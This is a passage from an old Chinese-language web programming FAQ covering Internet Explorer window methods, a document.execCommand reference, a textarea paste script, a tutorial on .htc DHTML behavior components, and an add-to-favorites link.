//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)
print()
//打印當(dāng)前窗口文檔內(nèi)容
prompt( [sMessage] [, sDefaultValue])
//彈出輸入對(duì)話框
resizeBy(iX, iY)
//以相對(duì)方式改變窗口大小
resizeTo(iWidth, iHeight)
//以絕對(duì)方式改變窗口大小
scroll(iX,iY)
滾動(dòng)窗口,與scrollTo一樣的效果,出于兼容性的考慮保留下來(lái)的方法
scrollBy(iX, iY)
//用相對(duì)方式滾動(dòng)窗口
scrollTo(iX, iY)
//用絕對(duì)方式滾動(dòng)窗口
setActive()
//激活目標(biāo)而不將視線轉(zhuǎn)向目標(biāo)
setInterval(vCode, iMilliSeconds [, sLanguage])
//定時(shí)執(zhí)行一段代碼
setTimeout(vCode, iMilliSeconds, sLanguage)
//延時(shí)執(zhí)行一段代碼
showHelp(sURL [, vContextID])
//打開(kāi)一個(gè)幫助文件,sURL為幫助文檔地址,vContextID為幫助索引號(hào)
showModalDialog(sURL [, vArguments] [, sFeatures])
showModalDialog(sURL [, vArguments] [, sFeatures])
//打開(kāi)一個(gè)模式對(duì)話框
//vArguments=需要向新開(kāi)模式對(duì)話框傳遞的參數(shù)
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)
showModelessDialog(sURL [, vArguments] [, sFeatures])
//打開(kāi)一個(gè)非模式對(duì)話框
//vArgument=需要向新開(kāi)模式對(duì)話框傳遞的參數(shù)
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)
54.execCommand的完全參考(中文版)
document.execCommand(sCommand[,交互方式, 動(dòng)態(tài)參數(shù)])
2D-Position;document.execCommand("2D-Position","false","true");使絕對(duì)定位的對(duì)象可直接拖動(dòng);ie5.5
AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使對(duì)象定位變成絕對(duì)定位;ie5.5
BackColor;document.execCommand("BackColor","false",sColor);設(shè)置背景顏色;ie4.0
BlockDirLTR;none;使塊級(jí)元素排版方式為從左到右?;不支持
BlockDirRTL;none;使塊級(jí)元素排版方式為從右到左?;不支持 Bold;document.execCommand("Bold","false",null);使選中區(qū)域的文字加粗;ie4.0
BrowseMode;none;設(shè)置瀏覽器模式?;不支持 Copy;
document.execCommand("Copy","false",null);復(fù)制選中的文字到剪貼板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);設(shè)置指定錨點(diǎn)為書(shū)簽;ie4.0
CreateLink;document.execCommand("CreateLink","false",sLinkURL);將選中文本變成超連接,若第二個(gè)參數(shù)為true,會(huì)出現(xiàn)參數(shù)設(shè)置對(duì)話框;ie4.0
Cut;document.execCommand("Cut","false",null);剪貼選中的文字到剪貼板;ie4.0
Delete;document.execCommand("Delete","false",null);刪除選中的文字;ie4.0
DirLTR;none;排版方式為從左到右?;不支持 DirRTL;none;排版方式為從右到左?;不支持
EditMode;none;設(shè)置編輯模式?;不支持
FontName;document.execCommand("FontName","false",sFontName);改變選中區(qū)域的字體;ie4.0
FontSize;document.execCommand("FontSize","false",sSize|iSize);改變選中區(qū)域的字體大小;ie4.0
ForeColor;document.execCommand("ForeColor","false",sColor);設(shè)置前景顏色;ie4.0
FormatBlock;document.execCommand("FormatBlock","false",sTagName);設(shè)置當(dāng)前塊的標(biāo)簽名;ie4.0
55.可以在TEXTAREA中實(shí)現(xiàn)在光標(biāo)處用腳本來(lái)加入文本嗎?
<form>
<textarea cols="50"></textarea>
<br/>
<textarea cols="50"></textarea>
<br/>
<textarea cols="50"></textarea>
<br/>
<input type=button value="paste" onclick=paste()>
<input type="reset" name="Reset" value="Reset">
<script language=JavaScript>
var lastElement=null;
function BlurText()
{
lastElement=event.srcElement;
}
for(var i in document.all)
{
var Element=document.all[i];
if(Element.tagName=="TEXTAREA")
// if(Element.type=="text")
Element.onblur=BlurText;
}
function paste()
{
lastElement.focus();
document.execCommand("paste");
}
</script>
</form>
56.什么是.htc?
作者:沈欣 出處:china.com
在微軟IE 5.0版本的瀏覽器發(fā)布以前,網(wǎng)頁(yè)編程中面對(duì)的最大挑戰(zhàn)就是不能輕易地創(chuàng)建組件,以達(dá)到代碼重用和多頁(yè)面共享的目的。這個(gè)問(wèn)題一直困擾著DHTML(動(dòng)態(tài) HEML)的網(wǎng)頁(yè)編程者。他們只能不斷地重復(fù)書(shū)寫(xiě)HTML、CSS和JAVASCRIPT的代碼,以滿足多個(gè)頁(yè)面上的重復(fù)或相似的功能。自IE 5.0瀏覽器發(fā)布后,這種情況得到了改善,它帶給我們一個(gè)新的指令組合方法,可把實(shí)現(xiàn)特定功能的代碼封裝在一個(gè)組件內(nèi),從而實(shí)現(xiàn)多頁(yè)面的代碼重用,使網(wǎng)頁(yè)編程進(jìn)入一個(gè)全新的天地。這個(gè)新的技術(shù)就是我們要談到的DHTML中的“行為”(Behaviors)。
“行為”作為一個(gè)簡(jiǎn)單易用的組件,它封裝了頁(yè)面上特定的功能或動(dòng)作。當(dāng)把一個(gè)“行為”附到WEB頁(yè)面中的一個(gè)元件上時(shí),這個(gè)元件的原有行為就會(huì)有所改變。因此,網(wǎng)頁(yè)編程者可以開(kāi)發(fā)通用的DHTML指令,并改變?cè)袑?duì)象的一些屬性,用“行為”來(lái)增強(qiáng)一個(gè)對(duì)象的功能,同時(shí)也簡(jiǎn)化了頁(yè)面的HTML代碼。而且“行為”的創(chuàng)建和使用也非常簡(jiǎn)單方便,所需的知識(shí)也只是原來(lái)已經(jīng)習(xí)慣使用的CSS樣式表、HTML指令和JAVASCRIPT腳本語(yǔ)言。只要你對(duì)此有所了解,有過(guò)實(shí)際編程的經(jīng)歷,學(xué)習(xí)并掌握“行為”的使用完全沒(méi)有問(wèn)題。我們將以一個(gè)改變字體效果的“行為”組件為例來(lái)說(shuō)明如何編寫(xiě)和使用一個(gè)“行為”,并體驗(yàn)“行為”給頁(yè)面編輯帶來(lái)的優(yōu)點(diǎn)和方便之處。
首先新建一個(gè)名為font_efftce.htc的文本文件,組成“行為”組件的文件都是以.htc為擴(kuò)展名,這個(gè)文件中的內(nèi)容就是我們對(duì)這個(gè)“行為”的描述。它的創(chuàng)建和使用步驟如下:
(1)首先給這個(gè)“行為”增加幾個(gè)事件響應(yīng),語(yǔ)句書(shū)寫(xiě)格式如下:
< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >
“EVENT”對(duì)應(yīng)所需事件名,在這里分別為:onmouseover,onmouseout,onmousedown,onmouseup四個(gè)事件名,你當(dāng)然可以再增加其它的事件名來(lái)滿足你的特定需求。“ONEVENT”對(duì)應(yīng)著個(gè)自的事件句柄,即事件觸發(fā)時(shí)所調(diào)用的函數(shù)名稱(chēng)。glowit()函數(shù)使字體周?chē)a(chǎn)生一個(gè)紅色的輝光。noglow()函數(shù)是消除字體的輝光效果。Font2yellow()函數(shù)是把字體顏色改為黃色。Font2blue()函數(shù)是把字體顏色改為藍(lán)色。四個(gè)事件的定義都是相似的。
(2)接下來(lái),再給這個(gè)“行為”增加二個(gè)“方法”定義,內(nèi)容如下。
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
“NAME”參數(shù)對(duì)應(yīng)的是給定的“方法”名稱(chēng)。move_down和move_right分別是向下和向右移動(dòng)的“方法”對(duì)應(yīng)的函數(shù)名稱(chēng)。注意,在方法名的后面不要帶“( )”括號(hào),即不要寫(xiě)成“move_down()”這個(gè)樣子,這在“方法”定義的語(yǔ)法上是不允許的。
(3)接下來(lái)的工作就是在我們熟悉的DHTML環(huán)境下,用JAVASCRIPT腳本語(yǔ)句編寫(xiě)“事件句柄”和“方法”所對(duì)應(yīng)的函數(shù)內(nèi)容,實(shí)現(xiàn)預(yù)期的效果。具體內(nèi)容參考下面的源程序。其中的“element”參數(shù)指的是這個(gè)“行為”所附著的對(duì)象,因?yàn)?#8220;行為”總是被附著到頁(yè)面的元件上面,并通過(guò)這個(gè)元件發(fā)揮作用。其它語(yǔ)句都是DHTML的編程內(nèi)容,就不再多說(shuō)了。如有不明之處,可參考微軟的MSDN開(kāi)發(fā)文檔中有關(guān)IE瀏覽器的內(nèi)容,上面有詳細(xì)的DHTML編程參考內(nèi)容、屬性和方法使用說(shuō)明等,并包含了大量的文章和舉例程序。經(jīng)常訪問(wèn)微軟的MSDN文檔,尤其對(duì)于初學(xué)者來(lái)說(shuō)是一個(gè)良好的學(xué)習(xí)習(xí)慣,你幾乎可以得到任何你想找的答案,它的網(wǎng)址為:http://msdn.microsoft.com/ie/。
完整的“行為”文檔“font_effect.htc”的內(nèi)容如下:
////////////////////////////“行為”文檔開(kāi)始///////////////////////////////////
//給“行為”增加四個(gè)鼠標(biāo)事件
< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >
//給“行為”定義二個(gè)方法
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
< SCRIPT LANGUAGE="JScript" >
//定義一個(gè)保存字體顏色的變量
var font_color;
//定義向下移動(dòng)文字的方法
function move_down()
{
element.style.posTop+=2;
}
//定義向右移動(dòng)文字的方法
function move_right()
{
element.style.posLeft +=6;
}
//定義鼠標(biāo)onmouseup事件的調(diào)用函數(shù)
function font2blue(){
if (event.srcElement == element)
{
element.style.color='blue';
}
}
//定義鼠標(biāo)onmousedown事件的調(diào)用函數(shù)
function font2yellow(){
if (event.srcElement == element)
{
element.style.color='yellow';
}
}
//定義鼠標(biāo)onmouseover事件的調(diào)用函數(shù)
function glowit()
{
if (event.srcElement == element)
{
font_color=style.color;
element.style.color='white';
element.style.filter="glow(color=red,strength=2)";
}
}
//定義鼠標(biāo)onmouseout事件的調(diào)用函數(shù)
function noglow()
{
if (event.srcElement == element)
{
element.style.filter="";
element.style.color=font_color;
}
}
< /SCRIPT >
//////////////////“行為”文檔結(jié)束///////////////////////////////
(4)如何在一個(gè)頁(yè)面上使用“行為”
在頁(yè)面上使用“行為”組件,并不需要學(xué)習(xí)新的知識(shí)。所需的知識(shí)的也不過(guò)是CSS樣式表和HTML的設(shè)置而已,請(qǐng)看下面的語(yǔ)句。
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
可以看出,這和以前我們已經(jīng)熟知的樣式表設(shè)置完全相同。上面的語(yǔ)句定義了一個(gè)樣式名:“myfilter”,其中對(duì)我們來(lái)說(shuō)比較新的內(nèi)容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行為”屬性名,這就是“行為”在樣式表中的設(shè)置方式。括號(hào)中的內(nèi)容是“行為”文檔的文件名,本例中表明“行為”文檔在與頁(yè)面文件在同一個(gè)目錄下,如果“行為”文檔安置在其它目錄下,在此參數(shù)的前面要加上相應(yīng)的路徑名,以保證可以正確地定位“行為”文檔的位置。此“樣式”中的其它內(nèi)容就是普通的樣式屬性設(shè)置,可根據(jù)你的需要增減,但在此例中,由于使用了“glow”濾鏡效果,至少要設(shè)置一個(gè)寬度(width)屬性。通過(guò)以上的樣式指定,我們就有了一個(gè)名為:“myfilter”的樣式,它附帶一個(gè)有字體變化效果的“行為”。如果你想要在一個(gè)頁(yè)面元件上使用這個(gè)附帶“行為”的樣式,同樣也很簡(jiǎn)單,只要把這個(gè)“樣式名”安置在元件的屬性設(shè)置區(qū)域即可,見(jiàn)下面的語(yǔ)句。
< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >
< span class='myfilter' >鼠標(biāo)指向后產(chǎn)生輝光< /span >
以上語(yǔ)句里面沒(méi)有什么新的內(nèi)容,class='myfilter'就是我們所熟悉的樣式設(shè)置。在第一個(gè)“span”標(biāo)記的屬性中還定義了一個(gè)“id”標(biāo)記,稍后就會(huì)看到,這是用來(lái)演示調(diào)用“行為”內(nèi)的“方法”而設(shè)置的。這樣設(shè)置后,“span”元件中的內(nèi)容就可以顯示出“行為”組件內(nèi)的預(yù)定效果:
1. 鼠標(biāo)指針移動(dòng)到文字內(nèi)容上時(shí),在文字周?chē)a(chǎn)生紅色的輝光效果,同時(shí)文字變成白色。
2. 當(dāng)鼠標(biāo)按鈕按下時(shí),文字顏色改變?yōu)辄S色。
3. 鼠標(biāo)按鈕抬起后,文字顏色又改變?yōu)樗{(lán)色。
4. 當(dāng)鼠標(biāo)指針移動(dòng)到文字區(qū)域以外時(shí),去掉了紅色輝光效果,文字恢復(fù)原樣。
另外,我們?cè)诙x“行為”時(shí)設(shè)置了二個(gè)“方法”,“move_down”和“move_right”。為調(diào)用這二個(gè)“方法”,定義了二個(gè)按鈕:
< button onclick="myspan.move_right();" >向右移動(dòng)第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移動(dòng)第一行文字< /button >
用按鈕的onclick事件去調(diào)用這二個(gè)“方法”,先前定義的“id”標(biāo)記就作為元件的對(duì)象名稱(chēng),用“myspan.move_down”來(lái)調(diào)用“方法”,操縱這個(gè)對(duì)象。可以看到,在按下相應(yīng)的按鈕后,會(huì)使第一行的文字產(chǎn)生向下或向右的移動(dòng)。雖然只是用第一行文字做了示范,實(shí)際上,只要做相應(yīng)的設(shè)置,你也可以移動(dòng)其它對(duì)象。頁(yè)面源文檔的完整內(nèi)內(nèi)容如下:
< html >
< HEAD >
< TITLE >行為效果演示< /TITLE >
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
< /HEAD >
< BODY >
< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >
< span class='myfilter' >鼠標(biāo)指向后產(chǎn)生輝光< /span >< br >
< span class='myfilter' >同時(shí)文字變白< /span >< br >
< span class='myfilter' >按下鼠標(biāo)后文字變黃< /span >< br >
< span class='myfilter' >抬起鼠標(biāo)后文字變藍(lán)< /span >< br >
< span class='myfilter' >鼠標(biāo)離開(kāi)后文字恢復(fù)原狀< /span >< br >
< button onclick="myspan.move_right();" >向右移動(dòng)第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移動(dòng)第一行文字< /button >
< /BODY >
< /html >
通過(guò)以上的簡(jiǎn)單介紹,可以看出,我們很容易地在一個(gè)“行為”中同時(shí)組合了多種文字變化效果,通過(guò)簡(jiǎn)單的“樣式”設(shè)置,任意地將它與頁(yè)面元件相關(guān)連,體現(xiàn)了“行為”組件的優(yōu)點(diǎn)和強(qiáng)大功能。一個(gè)“行為”組件,不僅能在一個(gè)頁(yè)面內(nèi)重復(fù)使用,也可供同一站點(diǎn)上的所有頁(yè)面使用。試想一下,如果不使用“行為”來(lái)完成上述的效果,雖然可以在頁(yè)面內(nèi)調(diào)用一組預(yù)定的函數(shù)來(lái)完成同樣的功能,但頁(yè)面內(nèi)每一個(gè)使用文字效果的元件都要附加四個(gè)鼠標(biāo)事件,如果在多個(gè)頁(yè)面內(nèi)使用相同的效果,被調(diào)用的函數(shù)也需要在每一個(gè)頁(yè)面內(nèi)重復(fù)設(shè)置。相比之下,孰優(yōu)孰劣是很明顯的。所以,使用“行為”組件,可以制作出簡(jiǎn)潔、高效、通用和便于維護(hù)的頁(yè)面。本文的舉例只是為了說(shuō)明“行為”組件的編寫(xiě)和使用過(guò)程,使讀者對(duì)“行為”編程有一個(gè)概括的了解,并以此基礎(chǔ)制作出自己所需要的“行為”組件,或直接引用滿足個(gè)人需要的現(xiàn)成“行為”組件,因?yàn)?#8220;組件共享”的概念也是“行為”開(kāi)發(fā)者的初衷。最后,愿本文能起到“拋磚引玉”的目的,使讀者步入精彩的DHTML網(wǎng)頁(yè)編程天地。
說(shuō)明:
HTC是HTML component的縮寫(xiě),
是IE5.0的主要擴(kuò)展之一,
除了具備一般組件的可重用優(yōu)點(diǎn)之外,
還具有易于開(kāi)發(fā)使用等優(yōu)點(diǎn),
因?yàn)樾枰胪獠课募?這里就不舉例了,寶庫(kù)里有例子.
控件和組件
HTC提供了一個(gè)簡(jiǎn)單機(jī)制以在腳本中實(shí)現(xiàn)DHTML行為。一個(gè)HTC文件和HTML文件沒(méi)有任何差別,并且以“.htc”為后綴,
可以使用HTC實(shí)現(xiàn)以下行為:
設(shè)定屬性和方法。通過(guò)“PROPERTY”和“METHOD”元素定義
設(shè)置自定義事件。通過(guò)“EVENT”元素實(shí)現(xiàn),用該元素的“fire()”方法釋放事件,
通過(guò)“createEventObject()”方法設(shè)置事件環(huán)境。
訪問(wèn)所包含該HTC的的HTML頁(yè)的DHTML對(duì)象模型,使用HTC的“element"對(duì)象,返回
一個(gè)附加行為的元素,使用該對(duì)象,HTC可以訪問(wèn)包含文擋及它的對(duì)象模型(屬性、方法、事件)。
收取通知,使用”ATTACH“元素實(shí)現(xiàn),瀏覽器不但通知HTC標(biāo)準(zhǔn)的DHTML事件,而且通知HTC兩種特殊事件:oncontentready事件和ondocumentready事件 。
定義標(biāo)記和命名空間
HTC的基礎(chǔ)是自定義標(biāo)記
要為頁(yè)面定義自定義標(biāo)記,必須為該標(biāo)記提供命名空間
要使用該標(biāo)記必須在該標(biāo)記前加上正確的XML命名空間前綴
例如:
定義一個(gè)新標(biāo)記RIGHT的例子
<HTML XMLNSOCJS>
<HEAD>
<STYLE>
@media all {
DOCJSRIGHT {text-align:right; width:100}
}
</STYLE>
</HEAD>
<BODY>
<DOCJS:RIGHT>
Read Doc JavaScript's columns, tips, tools, and tutorials
</DOCJS:RIGHT>
</BODY>
</HTML>
可以在單個(gè)HTML標(biāo)記
中定義多個(gè)命名空間:
<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>
組件定義
組件的名字是由HTC文檔里定義在第一行的XML命名空間決定的
該頁(yè)不用調(diào)用其他的HTC話,就只有一個(gè)命名空間定義
實(shí)際上,HTML組件的定義就是自定義標(biāo)簽行為的定義
該行為包括一個(gè)屬性和一個(gè)事件:
<HTML xmlns:MyTag>
<HEAD>
<PUBLIC:COMPONENT tagName="MyTag">
<PROPERTY NAME="value"></PROPERTY>
<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>
</PUBLIC:COMPONENT>
<STYLE>//為組件定義樣式表
.cssMyTag{
}
</STYLE>
<SCRIPT language=JavaScript>
function MyTagBehavior1(){} //為組件定義方法
</SCRIPT>
</HEAD>
<BODY onclick=MyTagBehavior1> //為組件定義響應(yīng)事件
</BODY>
</HTML>
其中的oncontentready是在組件被調(diào)用者完全導(dǎo)入時(shí)觸發(fā)
再看看fnInit()
function fnInit() {
document.body.innerHTML = element.value;//設(shè)定組件顯示內(nèi)容
document.body.className = "clsMyTag"; //設(shè)定顯示樣式表,
defaults.viewLink = document; //使本組件對(duì)其他文檔可見(jiàn)
element.aProperty = element.value; //設(shè)置組件的屬性值
}
組件的調(diào)用
<HTML xmlns:MyCom>
<HEAD>
<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>
</HEAD>
<BODY>
<MyCom:MyTag></MyCom:MyTag>
</BODY>
</html>
57.如何把頁(yè)面加入用戶的收藏夾?
<a href="javascript:window.external.AddFavorite('http://www.bihu.net','織夢(mèng)亂彈')">收藏</a>